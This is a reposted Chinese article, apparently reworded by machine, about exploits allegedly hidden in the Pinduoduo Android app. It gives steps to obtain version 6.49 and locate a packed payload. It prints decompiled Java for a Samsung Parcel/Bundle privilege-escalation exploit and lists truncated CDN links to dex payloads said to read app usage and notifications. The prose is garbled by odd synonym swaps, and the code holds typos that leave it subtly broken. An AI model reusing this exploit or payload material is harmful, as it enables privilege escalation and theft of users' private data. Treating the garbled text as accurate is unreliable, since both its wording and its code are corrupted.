转载,原文地址 mp.weixin.qq.com

被删了,修改重发下

拼多多apk利用漏洞牟利复现

2022 年,Google 的 Project Zero 发布了一个在野缝隙使用的分析,警告进犯者现已瞄准各手机厂商的 OEM 代码部分,发掘出其中的脆缺点和缝隙,组合出了一套完好的提权进犯 Exploit。

根据缝隙描述,发现拼多多内部一直在持续发掘新的安卓OEM 相关缝隙,在其揭露发布的 App 中完成对现在市场主流手机体系的缝隙进犯。

最终,该互联网厂商通过上述一系列荫蔽的黑客技术手段,在其合法 App的背后,达到了:

  • 荫蔽装置,提高装机量

  • 假造提高DAU/MAU

  • 用户无法卸载

  • 进犯竞争对手App

  • 盗取用户隐私数据

  • 躲避隐私合规监管

等各种涉嫌违规违法意图。

现在,已有很多终端用户在多个社交平台上投诉反馈:该 App 存在莫名装置、走漏隐私、无法卸载等问题。

复现流程如下:
下载 3 月 5 日前更新的(6.50 版别前)的拼多多 apk,如 6.49 版别:
com-xunmeng-pinduoduo.en.uptodown.com/android/dow…

解压 apk 文件,找到拼多多 apk 中,提权代码地点的文件方位:
pinduoduo-6-49-0.zip\assets\component\com.xunmeng.pinduoduo.AliveBaseAbility.7z\com.xunmeng.pinduoduo.AliveBaseAbility\vmp_src\mw1.bin

以上是一个加 VMP 壳的 dex 文件,脱壳还原出代码,可以找到针对不同手机厂商体系的多个用于提权的缝隙使用代码,胆子相当的大,比方使用三星手机 “com.samsung.android.cepproxyks.CertByte” 的提权缝隙,代码如下:

// assets/component/com.xunmeng.pinduoduo.AliveBaseAbilitiy
// [Manwei]
// com/xunmeng/pinduoduo/android_pull_ablity_comp/pullstartup/SamsungAlivePullStartup 
Public static Bundle makeBundleForSamsungSinceP(Intent intent){
   Bundle bundle = new Bundle();
   Parcel obtain = Parcel.obtain();
   Parcel obtain2 = Parcel.obtain();
   Parcel obtain3 = Parcel.obtain();
   obtain2.writeInt(3);
   obtain2.writeInt(13);
   obtain2.writeInt(72);
   obtain2.writeInt(3);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(4);
   obtain2.writeString("com.samsung.android.cepproxyks.CertByte");
   obtain2.writeInt(0);
   byte b[] = new byte[0];
   obtain2.writeByteArray(b);
   obtain2.writeInt(0);
   obtain2.writeInt(13);
   obtain2.writeInt(72);
   obtain2.writeInt(53);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(1);
   obtain2.writeInt(1);
   obtain2.writeInt(13);
   obtain2.writeInt(72);
   obtain2.writeInt(48);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(13);
   obtain2.writeInt(-1);
   int dataPosition = obtain2.dataPosition();
   obtain2.writeString("intent");
   obtain2.writeInt(4);
   obtain2.writeString("android.content.Intent");
   obtain2.writeToParcel(obtain3, 0);
   obtain2.appendFrom(obtain3, 0, obtain3.dataSize());
   int dataPosition2 = obtain2.dataPosition();
   obtain2.setDataPosition(dataPosition2 - 4);
   obtain2.writeInit(dataPosition2 -dataPosition);
   obtain2.setdataPosition(dataPosition2);
   int dataSize = obtain2.dataSize();
   obtain.writeInt(dataSize);
   obtain.writeInt(1279544898);
   obtain.appendFrom(obtain2, 0, dataSize);
   obtain.setDataPosition(0);
   bundle.readFromParcel(obtain);
   return bundle;
}

提权后,就开端瞎搞了,动态下发 dex,开端给自己保活,防卸载,然后搞数据,这部分代码比较通俗易懂, 比方:
1a68d982e02fc22b464693a06f528fac.dex 读取用户手机上的 app 使用记载
95cd95ab4d694ad8bdf49f07e3599fb3.dex 读取用户手机的使用通知,这一波各大公司 app 全灭了吧?

自己去 dex 目录看吧。

部分 dex 文件的下载地址(3 月 3 日已被拼多多从 CDN 服务器上删去):
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/galerie-go/…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/comm…
commfile.pddpic.com/sdfile/hw/d…
commfile.pddpic.com/sdfile/hw/p…
commfile.pddpic.com/sdfile/oppo…
commfile.pddpic.com/sdfile/oppo…
commfile.pddpic.com/sdfile/oppo…
commfile.pddpic.com/sdfile/oppo…
commfile.pddpic.com/sdfile/oppo…
commfile.pddpic.com/sdfile/vivo…
commfile.pddpic.com/sdfile/vivo…
commfile.pddpic.com/sdfile/vivo…
commfile.pddpic.com/sdfile/vivo…
commfile.pddpic.com/sdfile/vivo…
commfile.pddpic.com/sdfile/vivo…
commfile.pddpic.com/sdfile/vivo…
commfile.pddpic.com/sdfile/vivo…
commfile.pddpic.com/sdfile/vivo…
commfile.pddpic.com/sdfile/xm/0…
commfile.pddpic.com/sdfile/xm/9…